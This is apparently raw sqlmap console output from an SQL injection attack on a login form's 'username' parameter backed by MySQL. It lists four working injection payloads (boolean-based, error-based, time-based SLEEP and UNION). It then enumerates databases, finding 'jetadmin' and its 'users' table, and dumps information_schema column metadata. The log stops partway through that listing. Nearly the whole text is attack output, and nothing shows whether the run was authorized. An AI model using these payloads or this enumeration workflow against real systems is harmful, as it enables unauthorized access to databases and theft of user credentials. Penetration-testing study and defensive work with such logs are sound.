[03:11:44] [INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
[03:11:44] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[03:11:44] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[03:11:44] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[03:11:53] [INFO] target URL appears to be UNION injectable with 3 columns
[03:11:53] [INFO] POST parameter 'username' is 'MySQL UNION query (NULL) - 1 to 20 columns' injectable
[03:11:53] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--drop-set-cookie' if you experience any problems during data retrieval
POST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 116 HTTP(s) requests:
---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
Payload: username=qwer' OR NOT 6567=6567#&password=qwer
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: username=qwer' OR (SELECT 1247 FROM(SELECT COUNT(*),CONCAT(0x716a716b71,(SELECT (ELT(1247=1247,1))),0x717a6a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- iXWW&password=qwer
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=qwer' AND (SELECT 4209 FROM (SELECT(SLEEP(5)))DfxZ)-- JgTA&password=qwer
Type: UNION query
Title: MySQL UNION query (NULL) - 3 columns
Payload: username=qwer' UNION ALL SELECT NULL,CONCAT(0x716a716b71,0x64514c4a6671574c4c587a494f454b416b5a5278496977487146417769774b575072484451694b6c,0x717a6a7a71),NULL#&password=qwer
---
[03:12:06] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Nginx 1.10.3
back-end DBMS: MySQL >= 5.0
[03:12:09] [INFO] enumerating database management system schema
[03:12:09] [INFO] fetching database names
[03:12:10] [INFO] retrieved: 'information_schema'
[03:12:10] [INFO] retrieved: 'jetadmin'
[03:12:10] [INFO] fetching tables for databases: 'information_schema, jetadmin'
[03:12:11] [INFO] retrieved: 'information_schema','CHARACTER_SETS'
[03:12:12] [INFO] retrieved: 'information_schema','COLLATIONS'
[03:12:12] [INFO] retrieved: 'information_schema','COLLATION_CHARACTER_SET_APPLICABILITY'
[03:12:13] [INFO] retrieved: 'information_schema','COLUMNS'
[03:12:13] [INFO] retrieved: 'information_schema','COLUMN_PRIVILEGES'
[03:12:13] [INFO] retrieved: 'information_schema','ENGINES'
[03:12:14] [INFO] retrieved: 'information_schema','EVENTS'
[03:12:14] [INFO] retrieved: 'information_schema','FILES'
[03:12:15] [INFO] retrieved: 'information_schema','GLOBAL_STATUS'
[03:12:15] [INFO] retrieved: 'information_schema','GLOBAL_VARIABLES'
[03:12:15] [INFO] retrieved: 'information_schema','KEY_COLUMN_USAGE'
[03:12:16] [INFO] retrieved: 'information_schema','OPTIMIZER_TRACE'
[03:12:16] [INFO] retrieved: 'information_schema','PARAMETERS'
[03:12:17] [INFO] retrieved: 'information_schema','PARTITIONS'
[03:12:17] [INFO] retrieved: 'information_schema','PLUGINS'
[03:12:17] [INFO] retrieved: 'information_schema','PROCESSLIST'
[03:12:18] [INFO] retrieved: 'information_schema','PROFILING'
[03:12:18] [INFO] retrieved: 'information_schema','REFERENTIAL_CONSTRAINTS'
[03:12:19] [INFO] retrieved: 'information_schema','ROUTINES'
[03:12:19] [INFO] retrieved: 'information_schema','SCHEMATA'
[03:12:20] [INFO] retrieved: 'information_schema','SCHEMA_PRIVILEGES'
[03:12:20] [INFO] retrieved: 'information_schema','SESSION_STATUS'
[03:12:20] [INFO] retrieved: 'information_schema','SESSION_VARIABLES'
[03:12:21] [INFO] retrieved: 'information_schema','STATISTICS'
[03:12:21] [INFO] retrieved: 'information_schema','TABLES'
[03:12:22] [INFO] retrieved: 'information_schema','TABLESPACES'
[03:12:22] [INFO] retrieved: 'information_schema','TABLE_CONSTRAINTS'
[03:12:22] [INFO] retrieved: 'information_schema','TABLE_PRIVILEGES'
[03:12:23] [INFO] retrieved: 'information_schema','TRIGGERS'
[03:12:23] [INFO] retrieved: 'information_schema','USER_PRIVILEGES'
[03:12:24] [INFO] retrieved: 'information_schema','VIEWS'
[03:12:24] [INFO] retrieved: 'information_schema','INNODB_LOCKS'
[03:12:24] [INFO] retrieved: 'information_schema','INNODB_TRX'
[03:12:25] [INFO] retrieved: 'information_schema','INNODB_SYS_DATAFILES'
[03:12:25] [INFO] retrieved: 'information_schema','INNODB_FT_CONFIG'
[03:12:26] [INFO] retrieved: 'information_schema','INNODB_SYS_VIRTUAL'
[03:12:26] [INFO] retrieved: 'information_schema','INNODB_CMP'
[03:12:26] [INFO] retrieved: 'information_schema','INNODB_FT_BEING_DELETED'
[03:12:27] [INFO] retrieved: 'information_schema','INNODB_CMP_RESET'
[03:12:27] [INFO] retrieved: 'information_schema','INNODB_CMP_PER_INDEX'
[03:12:28] [INFO] retrieved: 'information_schema','INNODB_CMPMEM_RESET'
[03:12:28] [INFO] retrieved: 'information_schema','INNODB_FT_DELETED'
[03:12:28] [INFO] retrieved: 'information_schema','INNODB_BUFFER_PAGE_LRU'
[03:12:29] [INFO] retrieved: 'information_schema','INNODB_LOCK_WAITS'
[03:12:29] [INFO] retrieved: 'information_schema','INNODB_TEMP_TABLE_INFO'
[03:12:30] [INFO] retrieved: 'information_schema','INNODB_SYS_INDEXES'
[03:12:30] [INFO] retrieved: 'information_schema','INNODB_SYS_TABLES'
[03:12:30] [INFO] retrieved: 'information_schema','INNODB_SYS_FIELDS'
[03:12:31] [INFO] retrieved: 'information_schema','INNODB_CMP_PER_INDEX_RESET'
[03:12:31] [INFO] retrieved: 'information_schema','INNODB_BUFFER_PAGE'
[03:12:32] [INFO] retrieved: 'information_schema','INNODB_FT_DEFAULT_STOPWORD'
[03:12:32] [INFO] retrieved: 'information_schema','INNODB_FT_INDEX_TABLE'
[03:12:32] [INFO] retrieved: 'information_schema','INNODB_FT_INDEX_CACHE'
[03:12:33] [INFO] retrieved: 'information_schema','INNODB_SYS_TABLESPACES'
[03:12:33] [INFO] retrieved: 'information_schema','INNODB_METRICS'
[03:12:34] [INFO] retrieved: 'information_schema','INNODB_SYS_FOREIGN_COLS'
[03:12:34] [INFO] retrieved: 'information_schema','INNODB_CMPMEM'
[03:12:34] [INFO] retrieved: 'information_schema','INNODB_BUFFER_POOL_STATS'
[03:12:35] [INFO] retrieved: 'information_schema','INNODB_SYS_COLUMNS'
[03:12:35] [INFO] retrieved: 'information_schema','INNODB_SYS_FOREIGN'
[03:12:36] [INFO] retrieved: 'information_schema','INNODB_SYS_TABLESTATS'
[03:12:36] [INFO] retrieved: 'jetadmin','users'
[03:12:36] [INFO] fetched tables: 'information_schema.INNODB_FT_INDEX_TABLE', 'information_schema.INNODB_SYS_VIRTUAL', 'information_schema.COLUMN_PRIVILEGES', 'information_schema.TABLE_CONSTRAINTS', 'information_schema.INNODB_BUFFER_PAGE_LRU', 'information_schema.INNODB_FT_DELETED', 'information_schema.GLOBAL_STATUS', 'information_schema.INNODB_CMP_RESET', 'information_schema.ROUTINES', 'information_schema.INNODB_SYS_TABLESTATS', 'information_schema.TABLE_PRIVILEGES', 'information_schema.INNODB_SYS_TABLES', 'information_schema.OPTIMIZER_TRACE', 'information_schema.TABLES', 'information_schema.INNODB_FT_DEFAULT_STOPWORD', 'information_schema.CHARACTER_SETS', 'information_schema.SCHEMA_PRIVILEGES', 'information_schema.INNODB_BUFFER_PAGE', 'information_schema.COLLATION_CHARACTER_SET_APPLICABILITY', 'information_schema.INNODB_CMP', 'information_schema.INNODB_SYS_TABLESPACES', 'information_schema.INNODB_FT_BEING_DELETED', 'information_schema.TABLESPACES', 'information_schema.ENGINES', 'information_schema.TRIGGERS', 'information_schema.REFERENTIAL_CONSTRAINTS', 'information_schema.INNODB_SYS_FOREIGN_COLS', 'information_schema.PARTITIONS', 'information_schema.PROCESSLIST', 'information_schema.INNODB_FT_CONFIG', 'information_schema.EVENTS', 'information_schema.COLUMNS', 'information_schema.INNODB_SYS_FIELDS', 'information_schema.GLOBAL_VARIABLES', 'information_schema.INNODB_CMP_PER_INDEX_RESET', 'information_schema.COLLATIONS', 'information_schema.PROFILING', 'information_schema.VIEWS', 'information_schema.INNODB_SYS_COLUMNS', 'information_schema.INNODB_CMPMEM', 'information_schema.INNODB_METRICS', 'information_schema.FILES', 'information_schema.INNODB_BUFFER_POOL_STATS', 'information_schema.INNODB_LOCK_WAITS', 'information_schema.SCHEMATA', 'information_schema.SESSION_VARIABLES', 'information_schema.INNODB_FT_INDEX_CACHE', 'information_schema.INNODB_TRX', 'information_schema.PLUGINS', 'information_schema.SESSION_STATUS', 'information_schema.USER_PRIVILEGES', 'information_schema.INNODB_SYS_DATAFILES', 'information_schema.INNODB_SYS_INDEXES', 'information_schema.KEY_COLUMN_USAGE', 'information_schema.INNODB_CMP_PER_INDEX', 'information_schema.STATISTICS', 'information_schema.INNODB_LOCKS', 'information_schema.INNODB_TEMP_TABLE_INFO', 'information_schema.INNODB_SYS_FOREIGN', 'information_schema.PARAMETERS', 'information_schema.INNODB_CMPMEM_RESET', 'jetadmin.users'
[03:12:36] [INFO] fetching columns for table 'INNODB_FT_INDEX_TABLE' in database 'information_schema'
[03:12:37] [INFO] retrieved: 'WORD','varchar(337)'
[03:12:38] [INFO] retrieved: 'FIRST_DOC_ID','bigint(21) unsigned'
[03:12:38] [INFO] retrieved: 'LAST_DOC_ID','bigint(21) unsigned'
[03:12:38] [INFO] retrieved: 'DOC_COUNT','bigint(21) unsigned'
[03:12:39] [INFO] retrieved: 'DOC_ID','bigint(21) unsigned'
[03:12:39] [INFO] retrieved: 'POSITION','bigint(21) unsigned'
[03:12:39] [INFO] fetching columns for table 'INNODB_SYS_VIRTUAL' in database 'information_schema'
[03:12:40] [INFO] retrieved: 'TABLE_ID','bigint(21) unsigned'
[03:12:41] [INFO] retrieved: 'POS','int(11) unsigned'
[03:12:41] [INFO] retrieved: 'BASE_POS','int(11) unsigned'
[03:12:41] [INFO] fetching columns for table 'COLUMN_PRIVILEGES' in database 'information_schema'
[03:12:42] [INFO] retrieved: 'GRANTEE','varchar(81)'
[03:12:43] [INFO] retrieved: 'TABLE_CATALOG','varchar(512)'
[03:12:43] [INFO] retrieved: 'TABLE_SCHEMA','varchar(64)'
[03:12:44] [INFO] retrieved: 'TABLE_NAME','varchar(64)'
[03:12:44] [INFO] retrieved: 'COLUMN_NAME','varchar(64)'
[03:12:44] [INFO] retrieved: 'PRIVILEGE_TYPE','varchar(64)'
[03:12:45] [INFO] retrieved: 'IS_GRANTABLE','varchar(3)'
[03:12:45] [INFO] fetching columns for table 'TABLE_CONSTRAINTS' in database 'information_schema'
[03:12:46] [INFO] retrieved: 'CONSTRAINT_CATALOG','varchar(512)'
[03:12:46] [INFO] retrieved: 'CONSTRAINT_SCHEMA','varchar(64)'
[03:12:47] [INFO] retrieved: 'CONSTRAINT_NAME','varchar(64)'
[03:12:47] [INFO] retrieved: 'TABLE_SCHEMA','varchar(64)'
[03:12:48] [INFO] retrieved: 'TABLE_NAME','varchar(64)'
[03:12:48] [INFO] retrieved: 'CONSTRAINT_TYPE','varchar(64)'
[03:12:48] [INFO] fetching columns for table 'INNODB_BUFFER_PAGE_LRU' in database 'information_schema'
[03:12:49] [INFO] retrieved: 'POOL_ID','bigint(21) unsigned'
[03:12:50] [INFO] retrieved: 'LRU_POSITION','bigint(21) unsigned'
[03:12:50] [INFO] retrieved: 'SPACE','bigint(21) unsigned'
[03:12:50] [INFO] retrieved: 'PAGE_NUMBER','bigint(21) unsigned'
[03:12:51] [INFO] retrieved: 'PAGE_TYPE','varchar(64)'
[03:12:51] [INFO] retrieved: 'FLUSH_TYPE','bigint(21) unsigned'
[03:12:52] [INFO] retrieved: 'FIX_COUNT','bigint(21) unsigned'
[03:12:52] [INFO] retrieved: 'IS_HASHED','varchar(3)'
[03:12:52] [INFO] retrieved: 'NEWEST_MODIFICATION','bigint(21) unsigned'
[03:12:53] [INFO] retrieved: 'OLDEST_MODIFICATION','bigint(21) unsigned'
[03:12:53] [INFO] retrieved: 'ACCESS_TIME','bigint(21) unsigned'
[03:12:54] [INFO] retrieved: 'TABLE_NAME','varchar(1024)'
[03:12:54] [INFO] retrieved: 'INDEX_NAME','varchar(1024)'
[03:12:54] [INFO] retrieved: 'NUMBER_RECORDS','bigint(21) unsigned'
[03:12:55] [INFO] retrieved: 'DATA_SIZE','bigint(21) unsigned'
[03:12:55] [INFO] retrieved: 'COMPRESSED_SIZE','bigint(21) unsigned'
[03:12:56] [INFO] retrieved: 'COMPRESSED','varchar(3)'
[03:12:56] [INFO] retrieved: 'IO_FIX','varchar(64)'
[03:12:56] [INFO] retrieved: 'IS_OLD','varchar(3)'
[03:12:57] [INFO] retrieved: 'FREE_PAGE_CLOCK','bigint(21) unsigned'
[03:12:57] [INFO] fetching columns for table 'INNODB_FT_DELETED' in database 'information_schema'
[03:12:58] [INFO] fetching columns for table 'GLOBAL_STATUS' in database 'information_schema'
[03:12:59] [INFO] retrieved: 'VARIABLE_NAME','varchar(64)'
[03:13:00] [INFO] retrieved: 'VARIABLE_VALUE','varchar(1024)'
[03:13:00] [INFO] fetching columns for table 'INNODB_CMP_RESET' in database 'information_schema'
[03:13:01] [INFO] retrieved: 'page_size','int(5)'
[03:13:01] [INFO] retrieved: 'compress_ops','int(11)'
[03:13:02] [INFO] retrieved: 'compress_ops_ok','int(11)'
[03:13:02] [INFO] retrieved: 'compress_time','int(11)'
[03:13:02] [INFO] retrieved: 'uncompress_ops','int(11)'
[03:13:03] [INFO] retrieved: 'uncompress_time','int(11)'
[03:13:03] [INFO] fetching columns for table 'ROUTINES' in database 'information_schema'
[03:13:04] [INFO] retrieved: 'SPECIFIC_NAME','varchar(64)'
[03:13:04] [INFO] retrieved: 'ROUTINE_CATALOG','varchar(512)'
[03:13:05] [INFO] retrieved: 'ROUTINE_SCHEMA','varchar(64)'
[03:13:05] [INFO] retrieved: 'ROUTINE_NAME','varchar(64)'
[03:13:06] [INFO] retrieved: 'ROUTINE_TYPE','varchar(9)'
[03:13:06] [INFO] retrieved: 'DATA_TYPE','varchar(64)'
[03:13:07] [INFO] retrieved: 'CHARACTER_MAXIMUM_LENGTH','int(21)'
[03:13:07] [INFO] retrieved: 'CHARACTER_OCTET_LENGTH','int(21)'
[03:13:07] [INFO] retrieved: 'NUMERIC_PRECISION','bigint(21) unsigned'
[03:13:08] [INFO] retrieved: 'NUMERIC_SCALE','int(21)'
[03:13:08] [INFO] retrieved: 'DATETIME_PRECISION','bigint(21) unsigned'
[03:13:09] [INFO] retrieved: 'CHARACTER_SET_NAME','varchar(64)'
[03:13:09] [INFO] retrieved: 'COLLATION_NAME','varchar(64)'
[03:13:09] [INFO] retrieved: 'DTD_IDENTIFIER','longtext'
[03:13:10] [INFO] retrieved: 'ROUTINE_BODY','varchar(8)'
[03:13:10] [INFO] retrieved: 'ROUTINE_DEFINITION','longtext'
[03:13:11] [INFO] retrieved: 'EXTERNAL_NAME','varchar(64)'
[03:13:11] [INFO] retrieved: 'EXTERNAL_LANGUAGE','varchar(64)'
[03:13:11] [INFO] retrieved: 'PARAMETER_STYLE','varchar(8)'
[03:13:12] [INFO] retrieved: 'IS_DETERMINISTIC','varchar(3)'
[03:13:12] [INFO] retrieved: 'SQL_DATA_ACCESS','varchar(64)'
[03:13:13] [INFO] retrieved: 'SQL_PATH','varchar(64)'
[03:13:13] [INFO] retrieved: 'SECURITY_TYPE','varchar(7)'
[03:13:13] [INFO] retrieved: 'CREATED','datetime'
[03:13:14] [INFO] retrieved: 'LAST_ALTERED','datetime'
[03:13:14] [INFO] retrieved: 'SQL_MODE','varchar(8192)'
[03:13:15] [INFO] retrieved: 'ROUTINE_COMMENT','longtext'
[03:13:15] [INFO] retrieved: 'DEFINER','varchar(93)'
[03:13:15] [INFO] retrieved: 'CHARACTER_SET_CLIENT','varchar(32)'
[03:13:16] [INFO] retrieved: 'COLLATION_CONNECTION','varchar(32)'
[03:13:16] [INFO] retrieved: 'DATABASE_COLLATION','varchar(32)'
[03:13:16] [INFO] fetching columns for table 'INNODB_SYS_TABLESTATS' in database 'information_schema'
[03:13:17] [INFO] retrieved: 'TABLE_ID','bigint(21) unsigned'
[03:13:18] [INFO] retrieved: 'NAME','varchar(193)'
[03:13:18] [INFO] retrieved: 'STATS_INITIALIZED','varchar(193)'
[03:13:19] [INFO] retrieved: 'NUM_ROWS','bigint(21) unsigned'
[03:13:19] [INFO] retrieved: 'CLUST_INDEX_SIZE','bigint(21) unsigned'
[03:13:19] [INFO] retrieved: 'OTHER_INDEX_SIZE','bigint(21) unsigned'
[03:13:20] [INFO] retrieved: 'MODIFIED_COUNTER','bigint(21) unsigned'
[03:13:20] [INFO] retrieved: 'AUTOINC','bigint(21) unsigned'
[03:13:21] [INFO] retrieved: 'REF_COUNT','int(11)'
[03:13:21] [INFO] fetching columns for table 'TABLE_PRIVILEGES' in database 'information_schema'
[03:13:22] [INFO] retrieved: 'GRANTEE','varchar(81)'
[03:13:22] [INFO] retrieved: 'TABLE_CATALOG','varchar(512)'
[03:13:23] [INFO] retrieved: 'TABLE_SCHEMA','varchar(64)'
[03:13:23] [INFO] retrieved: 'TABLE_NAME','varchar(64)'
[03:13:23] [INFO] retrieved: 'PRIVILEGE_TYPE','varchar(64)'
[03:13:24] [INFO] retrieved: 'IS_GRANTABLE','varchar(3)'
[03:13:24] [INFO] fetching columns for table 'INNODB_SYS_TABLES' in database 'information_schema'
[03:13:25] [INFO] retrieved: 'TABLE_ID','bigint(21) unsigned'
[03:13:25] [INFO] retrieved: 'NAME','varchar(655)'
[03:13:26] [INFO] retrieved: 'FLAG','int(11)'
[03:13:26] [INFO] retrieved: 'N_COLS','int(11)'
[03:13:27] [INFO] retrieved: 'SPACE','int(11)'
[03:13:27] [INFO] retrieved: 'FILE_FORMAT','varchar(10)'
[03:13:27] [INFO] retrieved: 'ROW_FORMAT','varchar(12)'
[03:13:28] [INFO] retrieved: 'ZIP_PAGE_SIZE','int(11) unsigned'
[03:13:28] [INFO] retrieved: 'SPACE_TYPE','varchar(10)'
[03:13:28] [INFO] fetching columns for table 'OPTIMIZER_TRACE' in database 'information_schema'
[03:13:29] [INFO] retrieved: 'QUERY','longtext'
[03:13:30] [INFO] retrieved: 'TRACE','longtext'
[03:13:30] [INFO] retrieved: 'MISSING_BYTES_BEYOND_MAX_MEM_SIZE','int(20)'
[03:13:31] [INFO] retrieved: 'INSUFFICIENT_PRIVILEGES','tinyint(1)'
[03:13:31] [INFO] fetching columns for table 'TABLES' in database 'information_schema'
[03:13:32] [INFO] retrieved: 'TABLE_CATALOG','varchar(512)'
[03:13:32] [INFO] retrieved: 'TABLE_SCHEMA','varchar(64)'
[03:13:33] [INFO] retrieved: 'TABLE_NAME','varchar(64)'
[03:13:33] [INFO] retrieved: 'TABLE_TYPE','varchar(64)'
[03:13:33] [INFO] retrieved: 'ENGINE','varchar(64)'
[03:13:34] [INFO] retrieved: 'VERSION','bigint(21) unsigned'
[03:13:34] [INFO] retrieved: 'ROW_FORMAT','varchar(10)'
[03:13:35] [INFO] retrieved: 'TABLE_ROWS','bigint(21) unsigned'
[03:13:35] [INFO] retrieved: 'AVG_ROW_LENGTH','bigint(21) unsigned'
[03:13:35] [INFO] retrieved: 'DATA_LENGTH','bigint(21) unsigned'
[03:13:36] [INFO] retrieved: 'MAX_DATA_LENGTH','bigint(21) unsigned'
[03:13:36] [INFO] retrieved: 'INDEX_LENGTH','bigint(21) unsigned'
[03:13:37] [INFO] retrieved: 'DATA_FREE','bigint(21) unsigned'
[03:13:37] [INFO] retrieved: 'AUTO_INCREMENT','bigint(21) unsigned'
[03:13:37] [INFO] retrieved: 'CREATE_TIME','datetime'
[03:13:38] [INFO] retrieved: 'UPDATE_TIME','datetime'
[03:13:38] [INFO] retrieved: 'CHECK_TIME','datetime'
[03:13:39] [INFO] retrieved: 'TABLE_COLLATION','varchar(32)'
[03:13:39] [INFO] retrieved: 'CHECKSUM','bigint(21) unsigned'
[03:13:39] [INFO] retrieved: 'CREATE_OPTIONS','varchar(255)'
[03:13:40] [INFO] retrieved: 'TABLE_COMMENT','varchar(2048)'
[03:13:40] [INFO] fetching columns for table 'INNODB_FT_DEFAULT_STOPWORD' in database 'information_schema'
[03:13:41] [INFO] fetching columns for table 'CHARACTER_SETS' in database 'information_schema'
[03:13:42] [INFO] retrieved: 'CHARACTER_SET_NAME','varchar(32)'
[03:13:43] [INFO] retrieved: 'DEFAULT_COLLATE_NAME','varchar(32)'
[03:13:43] [INFO] retrieved: 'DESCRIPTION','varchar(60)'
[03:13:43] [INFO] retrieved: 'MAXLEN','bigint(3)'
[03:13:43] [INFO] fetching columns for table 'SCHEMA_PRIVILEGES' in database 'information_schema'
[03:13:45] [INFO] retrieved: 'GRANTEE','varchar(81)'
[03:13:45] [INFO] retrieved: 'TABLE_CATALOG','varchar(512)'
[03:13:45] [INFO] retrieved: 'TABLE_SCHEMA','varchar(64)'
[03:13:46] [INFO] retrieved: 'PRIVILEGE_TYPE','varchar(64)'
[03:13:46] [INFO] retrieved: 'IS_GRANTABLE','varchar(3)'
[03:13:46] [INFO] fetching columns for table 'INNODB_BUFFER_PAGE' in database 'information_schema'
[03:13:47] [INFO] retrieved: 'POOL_ID','bigint(21) unsigned'
[03:13:48] [INFO] retrieved: 'BLOCK_ID','bigint(21) unsigned'
[03:13:48] [INFO] retrieved: 'SPACE','bigint(21) unsigned'
[03:13:49] [INFO] retrieved: 'PAGE_NUMBER','bigint(21) unsigned'
[03:13:49] [INFO] retrieved: 'PAGE_TYPE','varchar(64)'
[03:13:49] [INFO] retrieved: 'FLUSH_TYPE','bigint(21) unsigned'
[03:13:50] [INFO] retrieved: 'FIX_COUNT','bigint(21) unsigned'
[03:13:50] [INFO] retrieved: 'IS_HASHED','varchar(3)'
[03:13:51] [INFO] retrieved: 'NEWEST_MODIFICATION','bigint(21) unsigned'
[03:13:51] [INFO] retrieved: 'OLDEST_MODIFICATION','bigint(21) unsigned'
[03:13:51] [INFO] retrieved: 'ACCESS_TIME','bigint(21) unsigned'
[03:13:52] [INFO] retrieved: 'TABLE_NAME','varchar(1024)'
[03:13:52] [INFO] retrieved: 'INDEX_NAME','varchar(1024)'
[03:13:53] [INFO] retrieved: 'NUMBER_RECORDS','bigint(21) unsigned'
[03:13:53] [INFO] retrieved: 'DATA_SIZE','bigint(21) unsigned'
[03:13:53] [INFO] retrieved: 'COMPRESSED_SIZE','bigint(21) unsigned'
[03:13:54] [INFO] retrieved: 'PAGE_STATE','varchar(64)'
[03:13:54] [INFO] retrieved: 'IO_FIX','varchar(64)'
[03:13:55] [INFO] retrieved: 'IS_OLD','varchar(3)'
[03:13:55] [INFO] retrieved: 'FREE_PAGE_CLOCK','bigint(21) unsigned'
[03:13:55] [INFO] fetching columns for table 'COLLATION_CHARACTER_SET_APPLICABILITY' in database 'information_schema'
[03:13:56] [INFO] retrieved: 'COLLATION_NAME','varchar(32)'
[03:13:57] [INFO] retrieved: 'CHARACTER_SET_NAME','varchar(32)'
[03:13:57] [INFO] fetching columns for table 'INNODB_CMP' in database 'information_schema'
[03:13:58] [INFO] retrieved: 'page_size','int(5)'
[03:13:58] [INFO] retrieved: 'compress_ops','int(11)'
[03:13:59] [INFO] retrieved: 'compress_ops_ok','int(11)'
[03:13:59] [INFO] retrieved: 'compress_time','int(11)'
[03:14:00] [INFO] retrieved: 'uncompress_ops','int(11)'
[03:14:00] [INFO] retrieved: 'uncompress_time','int(11)'
[03:14:00] [INFO] fetching columns for table 'INNODB_SYS_TABLESPACES' in database 'information_schema'
[03:14:01] [INFO] retrieved: 'SPACE','int(11) unsigned'
[03:14:02] [INFO] retrieved: 'NAME','varchar(655)'
[03:14:02] [INFO] retrieved: 'FLAG','int(11) unsigned'
[03:14:02] [INFO] retrieved: 'FILE_FORMAT','varchar(10)'
[03:14:03] [INFO] retrieved: 'ROW_FORMAT','varchar(22)'
[03:14:03] [INFO] retrieved: 'PAGE_SIZE','int(11) unsigned'
[03:14:04] [INFO] retrieved: 'ZIP_PAGE_SIZE','int(11) unsigned'
[03:14:04] [INFO] retrieved: 'SPACE_TYPE','varchar(10)'
[03:14:04] [INFO] retrieved: 'FS_BLOCK_SIZE','int(11) unsigned'
[03:14:05] [INFO] retrieved: 'FILE_SIZE','bigint(21) unsigned'
[03:14:05] [INFO] retrieved: 'ALLOCATED_SIZE','bigint(21) unsigned'
[03:14:05] [INFO] fetching columns for table 'INNODB_FT_BEING_DELETED' in database 'information_schema'
[03:14:06] [INFO] fetching columns for table 'TABLESPACES' in database 'information_schema'
[03:14:08] [INFO] retrieved: 'TABLESPACE_NAME','varchar(64)'
[03:14:08] [INFO] retrieved: 'ENGINE','varchar(64)'
[03:14:08] [INFO] retrieved: 'TABLESPACE_TYPE','varchar(64)'
[03:14:09] [INFO] retrieved: 'LOGFILE_GROUP_NAME','varchar(64)'
[03:14:09] [INFO] retrieved: 'EXTENT_SIZE','bigint(21) unsigned'
[03:14:10] [INFO] retrieved: 'AUTOEXTEND_SIZE','bigint(21) unsigned'
[03:14:10] [INFO] retrieved: 'MAXIMUM_SIZE','bigint(21) unsigned'
[03:14:10] [INFO] retrieved: 'NODEGROUP_ID','bigint(21) unsigned'
[03:14:11] [INFO] retrieved: 'TABLESPACE_COMMENT','varchar(2048)'
[03:14:11] [INFO] fetching columns for table 'ENGINES' in database 'information_schema'
[03:14:12] [INFO] retrieved: 'ENGINE','varchar(64)'
[03:14:12] [INFO] retrieved: 'SUPPORT','varchar(8)'
[03:14:13] [INFO] retrieved: 'COMMENT','varchar(80)'
[03:14:13] [INFO] retrieved: 'TRANSACTIONS','varchar(3)'
[03:14:14] [INFO] retrieved: 'XA','varchar(3)'
[03:14:14] [INFO] retrieved: 'SAVEPOINTS','varchar(3)'
[03:14:14] [INFO] fetching columns for table 'TRIGGERS' in database 'information_schema'
[03:14:15] [INFO] retrieved: 'TRIGGER_CATALOG','varchar(512)'
[03:14:16] [INFO] retrieved: 'TRIGGER_SCHEMA','varchar(64)'
[03:14:16] [INFO] retrieved: 'TRIGGER_NAME','varchar(64)'
[03:14:17] [INFO] retrieved: 'EVENT_MANIPULATION','varchar(6)'
[03:14:17] [INFO] retrieved: 'EVENT_OBJECT_CATALOG','varchar(512)'
[03:14:17] [INFO] retrieved: 'EVENT_OBJECT_SCHEMA','varchar(64)'
[03:14:18] [INFO] retrieved: 'EVENT_OBJECT_TABLE','varchar(64)'
[03:14:18] [INFO] retrieved: 'ACTION_ORDER','bigint(4)'
[03:14:19] [INFO] retrieved: 'ACTION_CONDITION','longtext'
[03:14:19] [INFO] retrieved: 'ACTION_STATEMENT','longtext'
[03:14:19] [INFO] retrieved: 'ACTION_ORIENTATION','varchar(9)'
[03:14:20] [INFO] retrieved: 'ACTION_TIMING','varchar(6)'
[03:14:20] [INFO] retrieved: 'ACTION_REFERENCE_OLD_TABLE','varchar(64)'
[03:14:21] [INFO] retrieved: 'ACTION_REFERENCE_NEW_TABLE','varchar(64)'
[03:14:21] [INFO] retrieved: 'ACTION_REFERENCE_OLD_ROW','varchar(3)'
[03:14:21] [INFO] retrieved: 'ACTION_REFERENCE_NEW_ROW','varchar(3)'
[03:14:22] [INFO] retrieved: 'CREATED','datetime(2)'
[03:14:22] [INFO] retrieved: 'SQL_MODE','varchar(8192)'
[03:14:23] [INFO] retrieved: 'DEFINER','varchar(93)'
[03:14:23] [INFO] retrieved: 'CHARACTER_SET_CLIENT','varchar(32)'
[03:14:23] [INFO] retrieved: 'COLLATION_CONNECTION','varchar(32)'
[03:14:24] [INFO] retrieved: 'DATABASE_COLLATION','varchar(32)'
[03:14:24] [INFO] fetching columns for table 'REFERENTIAL_CONSTRAINTS' in database 'information_schema'
[03:14:25] [INFO] retrieved: 'CONSTRAINT_CATALOG','varchar(512)'
[03:14:25] [INFO] retrieved: 'CONSTRAINT_SCHEMA','varchar(64)'
[03:14:26] [INFO] retrieved: 'CONSTRAINT_NAME','varchar(64)'
[03:14:26] [INFO] retrieved: 'UNIQUE_CONSTRAINT_CATALOG','varchar(512)'
[03:14:27] [INFO] retrieved: 'UNIQUE_CONSTRAINT_SCHEMA','varchar(64)'
[03:14:27] [INFO] retrieved: 'UNIQUE_CONSTRAINT_NAME','varchar(64)'
[03:14:27] [INFO] retrieved: 'MATCH_OPTION','varchar(64)'
[03:14:28] [INFO] retrieved: 'UPDATE_RULE','varchar(64)'
[03:14:28] [INFO] retrieved: 'DELETE_RULE','varchar(64)'
[03:14:29] [INFO] retrieved: 'TABLE_NAME','varchar(64)'
[03:14:29] [INFO] retrieved: 'REFERENCED_TABLE_NAME','varchar(64)'
[03:14:29] [INFO] fetching columns for table 'INNODB_SYS_FOREIGN_COLS' in database 'information_schema'
[03:14:30] [INFO] retrieved: 'ID','varchar(193)'
[03:14:31] [INFO] retrieved: 'FOR_COL_NAME','varchar(193)'
[03:14:31] [INFO] retrieved: 'REF_COL_NAME','varchar(193)'
[03:14:31] [INFO] retrieved: 'POS','int(11) unsigned'
[03:14:31] [INFO] fetching columns for table 'PARTITIONS' in database 'information_schema'
[03:14:33] [INFO] retrieved: 'TABLE_CATALOG','varchar(512)'
[03:14:33] [INFO] retrieved: 'TABLE_SCHEMA','varchar(64)'
[03:14:33] [INFO] retrieved: 'TABLE_NAME','varchar(64)'
[03:14:34] [INFO] retrieved: 'PARTITION_NAME','varchar(64)'
